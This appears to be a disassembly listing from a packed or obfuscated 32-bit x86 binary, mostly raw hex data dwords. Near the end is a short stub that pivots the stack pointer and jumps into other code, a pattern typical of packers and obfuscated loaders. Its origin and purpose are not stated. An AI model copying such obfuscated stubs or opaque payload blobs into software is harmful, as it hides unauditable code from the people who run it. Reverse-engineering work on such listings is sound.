		dd 678D3EB2h, 6AE55FF4h, 2B3A4133h, 4CFDE9C5h, 49A3BB20h
		dd 3CD6943Bh, 3D84A6E1h, 3BA7C62Ch, 0CDF71E4Fh,	0B672621Bh
		dd 36DC8E5Ch, 648E5CFBh, 0F510CDC5h, 0CF8EC06Bh, 72683814h
		dd 0A04A1827h, 770A5AF9h, 9199804Eh, 5BB1B163h,	8D6347CEh
		dd 47092647h, 0E6150D7Dh, 98C23881h, 408FBEAAh,	0B1DF8E60h
		dd 8DF0DB2Bh, 9E75965Eh, 3FDA49A6h, 3D373D3Dh, 9D4D9FF5h
		dd 4F133A77h, 963DBBA5h, 0FE1338D6h, 0A7B04E48h, 0CB0B7F15h
		dd 0F0EA859Fh, 6ADC362h, 2D91C826h, 0D72EAF57h,	86A40389h
		dd 0ABB0668h, 100CC344h, 5CFF7569h, 0BB30F82Ah,	0FC5BD6CCh
		dd 2A6504EEh, 19B4D53Bh, 54FBA248h, 72D37E94h, 0C2AF48B9h
		dd 5A50B7D6h, 0F3BFA928h, 368F5381h, 33AFDE34h,	8EB21947h
		dd 0C7293F58h, 9949F48Dh, 3D9ACA73h, 408CC62Ch,	4DEE8885h
		dd 0B29A9B09h, 96C7F1EDh, 783C12D9h, 5416318Ch,	234C8FBEh
		dd 6DB7024Fh, 169C6FA5h, 24F0CA5h, 0AAB81297h, 7ADD4565h
		dd 97024FC9h, 69F7E3DFh, 0B75C6195h, 374D1813h,	0E630D37Ah
		dd 0B2640847h, 3CBA8A8Bh, 2D7769Bh, 2A203F97h, 0F59E7B56h
		dd 0CE12605Ah, 0DF7B66B4h, 29FD77Ch, 0F5E1D997h, 5317BCB8h
		dd 6B12F8EAh, 7AC99B77h, 0B5D88157h, 0E71F59B7h, 8EDE3928h
		dd 198CC600h, 5B89FBA7h, 74D36EB8h, 0E0EE9F49h,	0C04E28E5h
		dd 23C99D3Ah, 5EF3987Ah, 5097023Dh, 0D6CC7BADh,	210F3B9Ch
		dd 0CB279C7Ch, 1FB427ADh, 19CB808h, 5900D6FAh, 4AFB8965h
		dd 5684FE3Ah, 65207DABh, 57FEAF45h, 43C07993h, 6F85A60Dh
		dd 0EC05B63Eh, 0F29CB808h, 40632C18h, 0FE14DC96h, 59D43E2Ch
		dd 8A4571A8h, 433059h, 5BF20000h, 0D73F6EB8h, 0C671FF16h
		dd 3EB2D574h, 35DF8C2Bh, 7BD8AA14h, 45E40EDCh, 95B45A0Ah
		dd 98333D29h, 336AC46Bh, 0CFA9857Dh, 0AF96B937h, 4311403Fh
		dd 552E0Eh, 1AA00000h, 6A7910B1h, 0D6AC0633h, 32DD7A9Ah
		dd 5B0A45E4h, 48BD9B5h,	569ECF19h, 0E9C26FC8h, 8CD435CCh
		dd 0CCE9862Bh, 4632A835h, 9BC22839h, 24A12D27h,	28778FE9h
		dd 0F7E2FE2Bh, 130FE5C1h, 0FE78D341h, 883EB226h, 0C7B85412h
		dd 0A3FD4927h, 917B6817h, 9748EC3h, 0E183283Ch,	0D6AC1637h
		dd 856AF2Eh, 0B2F52FAFh, 95D3CF3Eh, 0E507AC0Fh,	0B129336Ah
		dd 2289E7A3h, 0E531E903h, 0B594BB3Fh, 973C9FD9h, 99336A94h
		dd 43E05321h, 640E27BDh, 5801EBFFh, 0E5E0EC66h,	0CDED4E28h
		dd 0E1C5EB4Ch, 7B7A5009h, 2A2A47F0h, 0C63C3433h, 0C52B8CEAh
		dd 0D83F4DE7h, 0F1836D73h, 51FE7852h, 78E67C92h, 0AEC374F2h
		dd 0B03D6917h, 2F5B6A5Ah, 96697CB1h, 997377DCh,	0CB21010Ch
		dd 944FA554h, 31B7D693h, 13F1h,	39749E4Fh, 17A2481Eh, 44D13B28h
		dd 8805EBF9h, 0F835E38Dh, 0C1E30CA1h, 0ACB39A17h, 0A548F742h
		dd 4B1F2673h, 800E14A1h, 65B1BAD7h, 3979AC33h, 0CCEA3A57h
		dd 0B6B61D35h, 3C20A58h, 58E66C0Ah, 0CCE852FFh,	216E4435h
		dd 2699EB01h, 3EB2C97Ch, 3FE99433h, 0DC75E60Eh,	0C2336AC8h
		dd 0D972FCE8h, 336AC8A8h, 910E44BEh, 0ED903F39h, 0BCA7EE3Bh
		dd 0CE9C336Ah, 572C1020h, 0DDC17892h, 5059A2E5h, 25E20364h
		dd 0D4799593h, 136490h,	7EDFA00h, 31DB838Ah, 628859E4h
		dd 967868D7h, 0C6103C1Bh, 129D304Bh, 226DB86Eh,	0F550ED03h
		dd 86811CCAh, 73F34EA4h, 0B1D94AEDh, 9CCF3365h,	24E11C86h
		dd 0C881913Ah, 0FDD53EB2h, 0AB12D473h, 0BF235AB4h, 9D3AA7C7h
		dd 3622C1F0h, 338A5CFBh, 0B3EAC610h, 85A44E1Ch,	0D5749A4Ah
		dd 5717AABAh, 7598C1BDh, 10D29B71h, 0DD2563E2h,	9B7175A7h
		dd 31D9550Eh, 48C75BB6h, 1AEA749Eh, 0BD1E0924h,	336A2714h
		dd 94B0A01Ah, 0BBAC873h, 6AB25EC8h, 6FA58D33h, 0F643A9BDh
		dd 54079F4Fh, 336AB23Fh, 0ACDDC921h, 0F011BA40h, 0A1336AB2h
		dd 4D201B6Eh, 61A8C7F3h, 0C1B1AD43h, 2E122D1Ch,	0A02C26F8h
		dd 2D8EE825h, 3811EB13h, 27C99827h, 0C6A09C06h,	16A34919h
		dd 0A3823B2Fh, 0B6A21C4Dh, 47BE3F97h, 1F1DBE19h, 0A71333E7h
		dd 0BD5312B9h, 9FEB18B3h, 5FD2635h, 687AE14Fh, 41F82ED1h
		dd 0F07615Dh, 0F8598093h, 0C3176F3h, 0E0D1AE27h, 64237EF4h
		dd 15FDAC46h, 0B5333DD8h, 3510E102h, 491BF726h,	0BB670DBh
		dd 0CA202D4Bh, 99989A55h, 5C98AD81h, 1231h, 0F934DE8Fh
		dd 0D762885Eh, 4917B68h, 48C52B39h, 0B8F523CDh,	123CC61h
		dd 0ECF35AD7h, 0E588B702h, 8B5FE633h, 0C04ED461h, 65B0FA17h
		dd 0F9B9EC33h, 0CCE93357h, 0DE082B35h, 0CB428343h, 34890AADh
		dd 239F3EB7h, 27CD9E45h, 0D60D50EAh, 95F07EB0h,	18Eh, 57FC7A1Dh
		dd 0DFC37AACh, 0CCE917BCh, 0D3A11935h, 2605AD2Bh, 312D91C8h
		dd 0B5D17AE5h, 9035CCE9h, 0E900A10Ah, 0BC1635CCh, 44D0C8A6h
		dd 0DD7A2E7Ah, 58BAE309h, 8BA2E60Ah, 9723E61Ch,	0DD7A8C18h
		dd 5945E432h, 904C30Bh,	0AC0D976Fh, 284EEE03h, 0DD7A065Ah
		dd 0DC6CE60Ch, 4D8A7A80h, 0F730347h, 0F33ED7ADh, 0D2F3FE07h
		dd 5Ch,	23E61C50h, 0F71CBF45h, 0F935CCE9h, 7A3F7301h, 0CCE9B5D1h
		dd 771AA135h, 7A79B5A1h, 7E9057FCh, 0BB8D3CFh, 5A35CCE9h
		dd 9EBCCDD0h, 41B9D674h, 5BF5AD33h, 0A1D06C86h,	977968D7h
		dd 0DD7A85DDh, 45B9E00Eh, 47A90Fh, 84230000h, 0FE1148A2h
		dd 675B02E8h, 0F721CC8Bh, 5A166C56h, 0E309DD7Ah, 0AA6D6591h
		dd 0AF4167CCh, 0D17A9DD5h, 35CCE9B5h, 0DE342B90h, 70E31B2Dh
		dd 243E2A43h, 7AC6524Eh, 6C865B2Eh, 5BFC7AD0h, 35CCE936h
		dd 0F9B0C238h, 32DD7AADh, 635FB1B7h, 538AD83Ah,	0F3FEB0C8h
		dd 0AEC374F2h, 0B036CCE9h, 0C62C3D5Ah, 4E293BA7h, 30h
		dd 26E31CF4h, 0B5D17AEAh, 9035CCE9h, 0E68A332Bh, 0B9950930h
		dd 0A6CB6C80h, 4835CCE9h, 0B7EC6652h, 2E7ACF5Bh, 0DD69835Bh
		dd 397205A1h, 0D6000000h, 0FDBB8A7Ah, 4BA9CD1h,	0CC0E3E53h
		dd 0DECA2035h, 827F7884h, 76FC7A36h, 0CCE9ACC5h, 6C82A235h
		dd 0A8DC733h, 35CCE99Ch, 0AA115F4Bh, 431F55BBh,	835B2E7Ah
		dd 5A1DD69h, 0FFFE6972h, 0E11CD6FFh, 56CA3A24h,	0D1533AD7h
		dd 7ED9471Dh, 3EB7C562h, 20DC9A70h, 22050E6Bh, 0DC42108Bh
		dd 0DF997377h, 0A86CF227h, 88B7C45Dh, 633E34DEh, 0C3AD6863h
		dd 6661FB68h, 4D77DC33h, 62F0E29Bh, 0D8BD5CDh, 666139AAh
		dd 14BD1E33h, 1A336661h, 5D1BF7A0h, 666149FAh, 11635F33h
		dd 61FA1DBCh, 0C5E83366h, 3DB6A13h, 644CB0E9h, 0D199AF2Eh
		dd 6DCA50A3h, 0BF7967Ch, 66612340h, 87DD3533h, 5420B36Eh
		dd 38F2F6h, 57B00000h, 35CCE93Eh, 0CC932A38h
		dd 0AB877B22h, 0E9933B1Eh, 11CC35CCh, 22CD6AF4h, 47F07EF4h
		dd 3EB2C1B7h, 224FE876h, 34336AF0h, 4733D98Dh, 0E13C960Dh
		dd 0E48Fh, 0FC7AD300h, 0FF890100h, 2B6000AEh, 35CC2986h
		dd 0AB4161A8h, 5E1400F2h, 90DE37B6h, 55068C0Ah,	35CC293Ch
		dd 6E83C822h, 7035CC29h, 0C777C89Ah, 0D73EB232h, 2BD67DFBh
		dd 20872C8Fh, 31A9336Ah, 0A24DC845h, 9F4DEA74h,	9CD6C871h
		dd 0E924A129h, 0FD182C8Fh, 0C43E3811h, 0C0123D9Ah, 0AFA5586h
		dd 9B16020Eh, 823591BCh, 389C4061h, 5E45C230h, 0F4A31D71h
		dd 9F75711Eh, 6118F4EEh, 0D7916C69h, 8212B549h,	0A2B77244h
		dd 713E1BB2h, 790B7651h, 0E7AA41C6h, 0BDBB1733h, 63BE5416h
		dd 0B7DC7F05h, 0B926350Bh, 0DE8C3341h, 0B806D334h, 83D883Fh
		dd 0EDCECh, 9F757200h, 0C9233B02h, 0FA10D17Ch, 2EC0E0AFh
		dd 5E88B493h, 8A25B8C3h, 5AE530E6h, 6D28658Bh, 3E199442h
		dd 0EB4BC62Ch, 0B451F265h, 24473365h, 6D875B1Eh, 690BB03Ch
		dd 4C1EA5BFh, 0A54887A6h, 98BBCA73h, 0F2B81F4Eh, 86880180h
		dd 358C5E8Ch, 55E0DC0Ah, 0FEA805BCh, 4344F0h, 1CCE0000h
		dd 913A24E1h, 3EB2D8F9h, 86405FDh, 0C6B82982h, 34AE336Ah
		dd 3BD1913Eh, 6983A7EEh, 0E21BDA30h, 970FDF84h,	6AC68F24h
		dd 4D399133h, 42D0A21Ch, 14DD65E9h, 40EB7138h, 3880D123h
		dd 54E1DD35h, 69835B1Ah, 0F3EB50DCh, 0E9A3C06Bh, 5DB535CCh
		dd 2DC23861h, 9229E3C7h, 0D67DF7E3h, 43FA10h, 35CCD7E8h
		dd 0E825F39Eh, 5412EBEAh, 0B70A6BE3h, 0D987733Eh, 604BF853h
		dd 655D3365h, 9DA81EFh,	0D1C56E3h, 0F07EB0D6h, 14C95h
		dd 0E41C1D00h, 0CB984721h, 0A19D7372h, 0FC7A9FD3h, 0E9ACC576h
		dd 288335CCh, 35CCE9BBh, 0A01A35ADh, 0E9C561D2h, 381035CCh
		dd 57FC7AECh, 57EB7993h, 1CEDC438h, 189723E6h, 1F8A7A8Ch
		dd 0ADA5CD95h, 8E49B5CFh, 4A02773h, 365BFC7Ah, 3835CCE9h
		dd 0CE55B0C2h, 0DF3FEB0h, 53h, 51F3AF67h, 0D4231EF9h, 0E61CC29Eh
		dd 0DD7A9723h, 5A44E533h, 95319A08h, 0B035CCE9h, 0C344C5Ch
		dd 441EE656h, 7AA7F3EFh, 948A7A2Eh, 0D8447885h,	0D4953A48h
		dd 73E47C6Dh, 35CC53DEh, 4FFEEAC0h, 1A21553h, 1735CC53h
		dd 0A173CFBBh, 297205h,	1CD60000h, 9B4D70E6h, 0D17A13AFh
		dd 35CCE9B5h, 41EE8860h, 0EED0895Fh, 2E7ADC94h,	0D06C865Bh
		dd 9B3FD7A1h, 0D7AFD1DAh, 0D93AFA5h, 0F3FEB0A6h, 45A5h
		dd 0E31C6D00h, 0DD7AEA26h, 588EB20Fh, 0B3C1BD21h, 0E91C8A2Dh
		dd 900A35CCh, 5B2E7A04h, 0B8EB1B83h, 0AD669642h, 0E8749DBEh
		dd 476A35CCh, 0DD7EE691h, 35CCE8B4h, 785440BAh,	79AF51FEh
		dd 5A157EBh, 2272h, 0E31CD600h,	0DD7AEA26h, 5D8BB50Ch
		dd 0A7C6B22Ch, 10BB293Bh, 35CCE9F6h, 7AFD4921h,	69835B2Eh
		dd 7205A1DDh, 0FFFFFEABh, 20E11CD6h, 54AD2EF3h,	33315E00h
		dd 4632ACDDh, 45AFB318h, 2A36A10Fh, 383EB7F9h, 2B3FA4C2h
		dd 558E74C1h, 0EC05B6B0h, 0F23366F0h, 8F226118h, 853366F0h
		dd 0F11C4D9Bh, 2631AF0h, 6D33B2C0h, 10CB4F45h, 6FF654B1h
		dd 1Ah,	0E93E57D3h, 2A3835CCh, 0FEE375C0h, 75000000h, 48F11FCEh
		dd 0D1CD1B05h, 0E11CCF83h, 0EE9F7177h, 0FD5E18F4h, 3EB2FCC1h
		dd 0D473FDD5h, 0BAA2FF29h, 3FD1973Ch, 4AE7940Eh, 5C336AFAh
		dd 0A0D93735h, 8330423Eh, 0BF1736E0h, 3E99C73Eh, 3811270Eh
		dd 3A8B62Ch, 29FFE15Ch,	0EB928E70h, 48F77DF7h, 19F573A5h
		dd 44F78DCFh, 3883902Fh, 70E9D931h, 2968FAE7h, 0F495436Eh
		dd 3826DF1Eh, 0F8F99E9Fh, 0A115E933h, 0E16FF756h, 0A2DB3132h
		dd 910E4430h, 4765D13Dh, 665E35E4h, 0A9C66FD2h,	0C1AF9BA0h
		dd 0C4A2481Ah, 35C4FE13h, 780AE026h, 59D4DEAh, 35C43152h
		dd 0ADCB2726h, 35C4990Ah, 27138F26h, 6BFA3EAh, 2E90C927h
		dd 0C47A9740h, 766C2635h, 6D9E259Ah, 0DC718840h, 0B7C98h
		dd 0FF15D200h, 29C39BA2h, 5AB0B19Ch, 8E6040CFh,	0BE681433h
		dd 6A85D863h, 3A059046h, 0CD48C52Bh, 9EB9F422h,	8BEB26CCh
		dd 89315205h, 84273365h, 5BFC7ABEh, 35CCE936h, 0A685C238h
		dd 0D7AD1148h, 20C37A68h, 7F6B57F6h, 49A387CEh,	3E9FD10h
		dd 0D9332B5Ah, 95EFA3A0h, 9BE9A514h, 0D849E268h, 0CE35CCE9h
		dd 31319ED4h, 7A914EDBh, 39F0FEA8h, 46h, 24E11CF9h, 0DC71913Ah
		dd 8D653EB2h, 0A10A90DCh, 336ADA00h, 19A6BC16h,	2F16A349h
		dd 25A0D53Bh, 0FBEB0121h, 0C0BC45B2h, 2F876EA6h, 67BD6D8Dh
		dd 8F34B8EDh, 960831DBh, 58B530DCh, 6481BD1Eh, 3D953814h
		dd 835B56E0h, 361DE06Dh, 96D02F40h, 0CC7A8C25h,	4C389235h
		dd 7A205AF1h, 3B2635CCh, 38D450EDh, 0CB9E96F2h,	7CF854Ch
		dd 0B6214FC6h, 3EB74C35h, 3AA1CF3Bh, 0ED06B129h, 0F333652Ah
		dd 0C74D2B07h, 652AFF14h, 4E09E133h, 0D7CB7298h, 7A8AC49Dh
		dd 79E70DDDh, 0CCE9B5DEh, 354FBB35h, 7EB021D8h,	17060F0h
		dd 1C220000h, 7A9521E4h, 28AD57FCh, 68FAD638h, 0CCE9BFD7h
		dd 0F4726E35h, 3A269F4Fh, 5541BDECh, 0DE8DCA34h, 0DF950930h
		dd 382E7A83h, 0E61CEDC4h, 0AF2BF927h, 6D59DF77h, 0C48A7AD1h
		dd 16958832h, 531DE57Fh, 16C162D5h, 7D9035CCh, 8175301h
		dd 0F68C6611h, 26E31CBAh, 0D04A0EAh, 0F3FEB0A6h, 4EA5h
		dd 0E61C6D00h, 0DCC94523h, 1EDB264h, 0E10BD867h, 0D17ADF93h
		dd 35CCE9B5h, 7AFD49A1h, 0ACC576FCh, 0B235CCE9h, 5B760A58h
		dd 57E76886h, 0F3B21969h, 5A18B07h, 4D72h, 0BA080400h
		dd 499F81A2h, 81B6AE10h, 0D7A3931Dh, 0C809B5B8h, 1C09491Bh
		dd 4DE651E6h, 5335CCE9h, 7A3F8B67h, 44E533DDh, 319A085Ah
		dd 35CCE995h, 19795CB0h, 0FA14F8FFh, 821E0A68h,	9257FC7Ah
		dd 5B56EA78h, 0A5026C86h, 5C146E84h, 0A60D05A1h, 0A5F3FEB0h
		dd 35h,	26E31C6Dh, 33DD7AEAh, 85A44E5h,	0E995319Ah, 298135CCh
		dd 0FC7A9Dh, 42CF8F4h, 0CE82D09Dh, 0DD69835Bh, 0FF458A7Ah
		dd 0DFD8B50Bh, 72BAC485h, 38h, 33DD7AD6h, 5D0944E5h, 7D89DBB7h
		dd 42A38382h, 0C67E0C99h, 0FC7A5EEAh, 0DD7AAC57h, 2D6EE432h
		dd 35CCE981h, 7A207C54h, 77E400FCh, 0E5962FDCh,	835BD36Fh
		dd 5A1DD69h, 0FFFE8672h, 8A5F04FFh, 9AC32D33h, 0A11D4C38h
		dd 0E11C9FD3h, 0C7913A24h, 933EB734h, 14B33927h, 12F8EE57h
		dd 0E29B776Bh, 0DDD62F0h, 58F379E7h, 3365A22Bh,	0B5D4022Dh
		dd 0AEA41E49h, 6FF8F393h, 65A2A7CCh, 7E554933h,	0B600F0AFh
		dd 224C3814h, 65781889h, 0F5940E33h, 65783356h,	52A04833h
		dd 0C1173AA1h, 39BF5AB3h, 1DFEF657h, 0A4000000h, 950DDD7Ah
		dd 0CCE98122h, 4F3B9735h, 0E9658235h, 7F6335CCh, 0B9141895h
		dd 4C000000h, 3A24E11Ch, 0B2D48191h, 73FDD53Eh,	71FF29D4h
		dd 0D4871BCAh, 336AC2BFh, 2C5D49A1h, 0A6E1A0B2h, 0B03C6DBBh
		dd 0A8BA540Bh, 0A516A15Ch, 336AC20Ch, 0A2CCB812h, 41ABBF24h
		dd 1FC48033h, 6B923811h, 0C5A39F49h, 68A5731Eh,	3D80A70Ch
		dd 0B6D7C329h, 0E689364Ch, 44810930h, 0BA21AFC9h, 0F41B42A8h
		dd 726C1DF7h, 0CA4BCC86h, 0AC33F844h, 5A22836h,	219DCC1Ah
		dd 14FEEC53h, 46ACBE99h, 40DAE8E1h, 0EE0E3F88h,	7EDh, 25709A43h
		dd 6BA64C1Ah, 58D53F2Ch, 0B401EFFDh, 0E431E789h, 0C5EF08A5h
		dd 0A8BF8613h, 0A14CCB46h, 4F133A77h, 840A68A5h, 658DBED3h
		dd 3D05A033h
		dd 0E10FDD7Ah, 450C8BF1h, 250D3E2h, 8235ADBDh, 35CC1261h
		dd 0FEAF9B77h, 0C0799357h, 0DAF10D43h, 4A2994F8h, 295AFD7Bh
		dd 3F35CCC5h, 1361B1C3h, 0BE0BE1C1h, 0B16709B6h, 88AF4AA3h
		dd 2EEEF0FEh, 54000000h, 3A24E11Ch, 0B2DA6591h,	0E099713Eh
		dd 6AD804A1h, 45BF7B33h, 58952AC1h, 4169F6h, 0BFB0000h
		dd 44E8EFE2h, 2AC49BBBh, 0C1938F73h, 24E11C81h,	6D17BC3Ah
		dd 421082BBh, 0B2FF11F1h, 432D853Eh, 552FF9E4h,	678D5DF0h
		dd 0C7E5422Ah, 0F6F45B29h, 68656D1Ch, 0A68C3ADh, 5C3814C1h
		dd 99F2B66h, 8B4A40h, 0CCE93A57h, 0DAB62C35h, 8D30379Ch
		dd 264733D9h, 24CE93BCh, 65CB9905h, 0B2F57CF2h,	3C807A3Eh
		dd 0E43F5D1Fh, 0E18328F3h, 0BE719245h, 8B67F2D0h, 7EF4EE9Fh
		dd 0B0BE5796h, 5E47DA5Ch, 9BE94427h, 0D488A215h, 34AEF9AEh
		dd 0F65DDB15h, 7F631AF0h, 0ED2B7DCh, 3341B9F8h,	75F30ACBh
		dd 701FE2C2h, 5C1AF0F3h, 9F4EE1A0h, 0F082A0D0h,	0FE5C562h
		dd 630DAAB2h, 582A94B5h, 0AA1DF7EBh, 0C7D0CE0Fh, 8E2B4DC0h
		dd 2C000006h, 0F944D13Bh, 838A07EDh, 5EF934DEh,	6AD5608Eh
		dd 0C6059046h, 72A44867h, 0A7491827h, 0D600236Ah, 4EEFC5Bh
		dd 0B427A989h, 33658C1Fh, 5B5CE601h, 0F3036D87h, 8A1BAD05h
		dd 183B44D0h, 0FE11B4CEh, 0C48A07EDh, 0C9620C09h, 3EB7B2FFh
		dd 74EFFEBh, 6A57C822h,	61958FC9h, 62F88ECh, 0D88D0000h
		dd 8E58E732h, 7D6E2964h, 2D331A97h, 25CF76C3h, 0CA63A6F3h
		dd 58D5032Dh, 0B500EEFDh, 0E431E78Ah, 0D6638959h, 0FC15C648h
		dd 0E233658Ch, 0DD7AFB47h, 5E44E533h, 8EBDDCB7h, 0DAA884D7h
		dd 5D09B332h, 179DDBB7h, 1E54BEA8h, 0B7C78FBDh,	2937A33Eh
		dd 0B55663D5h, 0B5950CBh, 9C766B9Ah, 8F19842Bh,	0B6365795h
		dd 5C5h, 1DA8421Bh, 43DE3432h, 0B00DE7C4h, 0EC39D795h
		dd 0DC69BFA1h, 9D87308Dh, 9057FE4Bh, 7964237Eh,	372B12AFh
		dd 5CE240DDh, 658F56FBh, 152D5833h, 0E432DD7Ah,	0AE67666Eh
		dd 0F39D3AC0h, 0C89A0425h, 0B7344577h, 2ADA603Eh, 0D9A2F4AEh
		dd 6B98B376h, 7D33654Ah, 7A50CF85h, 7EAC57FCh, 0CA85A28Fh
		dd 0B6CCB85Ah, 1EBF817h, 9025F59Eh, 5D9BAA95h, 551h, 9914FEEFh
		dd 0F742A8BEh, 24719B48h, 68A54B19h, 58D5032Dh,	6103AC01h
		dd 0CD37AB7h, 0C5E857E2h, 0ABBF8613h, 0E06EF441h, 658FDA77h
		dd 9999CC33h, 3C6D875Bh, 3D3BD191h, 243ED496h, 0E1131F81h
		dd 9BC52F33h, 0B1C32D3Ch, 7F9555F0h, 0E9638BCEh, 0A0CE35CCh
		dd 0E910B11Ah, 0DE0635CCh, 0CCE9D47Dh, 0F4E0DA35h, 9240B27Eh
		dd 0A0EF3AD0h, 9E316882h, 0EBEB26CCh, 0E25513EAh, 3EB2C7E0h
		dd 905E18F6h, 0CA976052h, 6A5AC061h, 0FCD633h, 0B9D67514h
		dd 0C6336A5Ah, 0D849E268h, 0CE336A5Ah, 20529ED4h, 581B0DA4h
		dd 274CF6h, 1CF60000h, 913A24E1h, 3EB2D8E9h, 0D574158Dh
		dd 336AC6B8h, 5DD92BC7h, 0F6588BA6h, 59B3AB10h,	0CBA4BE20h
		dd 0C0h, 6D875B77h, 6EB8A403h, 0CD3C33Fh, 959E0252h, 2669DC96h
		dd 12BDEC3Ah, 4C83BA50h, 1239749Eh, 35CCD432h, 530BB2B0h
		dd 0D570CDB9h, 5680AC15h, 91DFCB37h, 80D2382Ah,	0ED28A52Dh
		dd 0F8C62883h, 3AA13EB2h, 0ED06B129h, 0F3336AB0h, 0FA592B07h
		dd 0EAE6600h, 0DFD7029Fh, 0E0EEA3B1h, 0ED4E28E5h, 3812F817h
		dd 0D4022D8Ah, 0AFC9219Eh, 7FCA1C00h, 85FA2CD0h, 8EEA3E1Ah
		dd 27CF88Dh, 58000004h,	6D28658Fh, 3F069379h, 0CA75C02Ah
		dd 9EB9F41Ah, 52E924F2h, 6D0FCFBh, 33DD8C8Bh, 62B45FE6h
		dd 907A68D7h, 38931D05h, 3365818Bh, 5B286A9Dh, 9BA1DB9h
		dd 1F35CCE9h, 0D37AB7A3h, 1EA8E50Fh, 3A24E11Ch,	6C8536BCh
		dd 7235CCE9h, 4149CA98h, 553EB2D8h, 608DCC7Dh, 1F336AD9h
		dd 22D22153h, 540B3B20h, 2C6DCABAh, 59706DE7h, 0EDF65832h
		dd 0F68C5A46h, 0E29Dh, 4568D700h, 5B81C193h, 913C6D87h
		dd 43E04BEFh, 5535CCE9h, 0B9D8817Dh, 35CCEDCBh,	0A4F11BCFh
		dd 4523C999h, 0E457F39Eh, 35CCED4Fh, 0DC8D7951h, 6B81A5E2h
		dd 13B2C032h, 0D0903ABBh, 0A7930F3Eh, 0C1881EB9h, 0F4EE3EB2h
		dd 8631BFB9h, 336AC96Dh, 0F3B57D34h, 2946C68Ch,	9A5BA3B1h
		dd 8C5E0563h, 89DBC766h, 0E5E3B01Bh, 1DF53812h,	1AC8F453h
		dd 50AA146h, 46D3CFD3h,	0ACB126DEh, 27CB6DE7h, 2CFAE62Dh
		dd 0E9ADCEBBh, 44A0A58Eh, 2F9h,	217C9657h, 1FAA4066h, 4CD93330h
		dd 0B00DE3C1h, 0E03DEB95h, 0C9EB0459h, 0A4BB821Fh, 0AD50FF4Ah
		dd 43672E7Bh, 88161CA9h, 6580822Fh, 21719433h, 0BA1DB95Bh
		dd 35CCE909h, 84B3650Fh, 3AF8D62Ah, 0C2BE5DB6h,	3C2388D6h
		dd 5FB5B5D2h, 0E1C14C05h, 5B64BE0Bh, 913C6D87h,	0C4E249D1h
		dd 0E9C46D2Eh, 0D7FA35CCh, 52F5601h, 5C48AAD3h,	0E908B912h
		dd 0A41E35CCh, 58957DC8h, 0D243B3BDh, 552B88D4h, 0A423121h
		dd 86A0CEDCh, 49F566CCh, 6C3EB2FBh, 463F6A90h, 5E14C13Ch
		dd 315009E1h, 336A0094h, 31B5CFEBh, 0F658419Ah,	4A9C872Ch
		dd 0BAD5AF13h, 3Fh, 668B2CAAh, 8336A18h, 1C80C092h, 913A24E1h
		dd 3EB2C1EDh, 29681189h, 336AF1BCh, 1B42A8BAh, 6D1CF6F4h
		dd 2CADE723h, 0A0245E1Ah, 0F658BC09h, 1CDB41BDh, 0D05A8255h
		dd 29E982h, 57A90000h, 35CCE93Fh, 0E6807D78h, 0A8E9A458h
		dd 34B5E9Fh, 2A94B55Fh,	3F93243Eh, 0A73EB2ECh, 87A64818h
		dd 826C7C1Bh, 7ACF1B96h, 47E60CDDh, 0FD095Bh, 0E9AFC477h
		dd 0AB135CCh, 0BBC4B066h, 0AE1049A3h, 3B03B4B2h, 723EB2FDh
		dd 0FC2E43F4h, 0DA30336Ah, 1841AFBDh, 9B77ACA6h, 0BD4121DDh
		dd 0E9907A68h, 0DEAA1DF5h, 0E82B9AE8h, 336ADF7Fh, 0D98D2A00h
		dd 61823533h, 77336ADFh, 0EB19C99Bh, 589EB46Fh,	8D5906F6h
		dd 86DCC667h, 46EDh, 208F8700h,	0B835F61Dh, 7A1D552Fh
		dd 0E9365BFCh, 0C23835CCh, 0E9E60FB0h, 1AC135CCh, 5F9A076h
		dd 0BD46874Fh, 8FBE5416h, 0E9CB7813h, 0B59A35CCh, 7D0DBB47h
		dd 86726807h, 99937FD8h, 0AF1B3EB2h, 0A1771AC1h, 1C449ED3h
		dd 913A24E1h, 3EB734E7h, 0F25907F3h, 0E44A18CEh, 34816B7Fh
		dd 8AB35909h, 457BAA5Ah, 43FADB51h, 652D7BE8h, 99756D33h
		dd 39C203CBh, 652D759Eh, 7D8B7B33h, 0CCE93F4h, 86E0DCC8h
		dd 1EC1B4D5h, 2640BA38h, 4DB0C7EEh, 0D0A29CB0h,	2FC5E542h
		dd 317A8A92h, 0F48DDF82h, 47A9B8C7h, 4EA4860Dh,	8C36B71Fh
		dd 950930DAh, 921CBFB9h, 0C433E110h, 0AEFA79EEh, 0D86D883Fh
		dd 0B49Ch, 0B75D0A00h, 0E10BD37Ah, 12F8E954h, 46A8B887h
		dd 76A04CCBh, 0A24DE03Bh, 72DD68BEh, 5009D73h, 0D671CC1Ah
		dd 0C3A3FE14h, 82699A3Dh, 0CC7F3365h, 24E11C76h, 347C913Ah
		dd 807A3EB7h, 257F97D9h, 0E428EB21h, 0FFE35022h, 5FF467h
		dd 69413365h, 4565207Dh, 0DE5BFEAFh, 0D14E6F8Ch, 7969BBC9h
		dd 7139D593h, 69D81F35h, 4EC988DAh, 0B8D7769Ch,	0E92746A8h
		dd 0D172E563h, 800E68A3h, 7D48AD98h, 51F89787h,	0F68C78AEh
		dd 8C2BD82Ah, 913E34DEh, 924468D1h, 1C1FF7EBh, 2DF512B5h
		dd 0BEA6F3EFh, 16A8730h, 867C0E68h, 896347CCh, 394D0h
		dd 1ECC0000h, 68825B82h, 26CC9E31h, 0F325C807h,	0CA243B4Ah
		dd 86507C93h, 5284A8E7h, 2AC4E42Bh, 0E50FDC73h,	0B75D0944h
		dd 5F68A496h, 8900003Eh, 70682434h, 89000063h, 8951243Ch
		dd 4C181E1h, 83000000h,	0C8704E9h
		dd 34895C24h, 20BA5224h, 5206A94Dh, 0E0243481h,	5F1A9E3Bh
		dd 3BE0F781h, 545A1A9Eh, 8124348Bh, 4C4h, 81575200h, 4181242Ch
		dd 815A6569h, 694181C2h, 8568965h, 24348B5Ah, 81E78957h
		dd 4C7h, 4C78300h, 5C243C87h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		db 2Fh
		dd 0A95FD18Ch, 0A96C2AB8h, 0FFC50306h, 3AE2DAE0h, 8056D114h
		dd 0BB717D12h, 0BF29B978h, 0B9B07450h, 4AC5D036h, 100FA62Bh
		dd 5ED1BA55h, 6DF7D00Ah, 0E865CC56h, 0ABB6AB68h, 51EEB468h
		dd 0A257827Fh, 0FDA3DC06h, 400E937h, 0
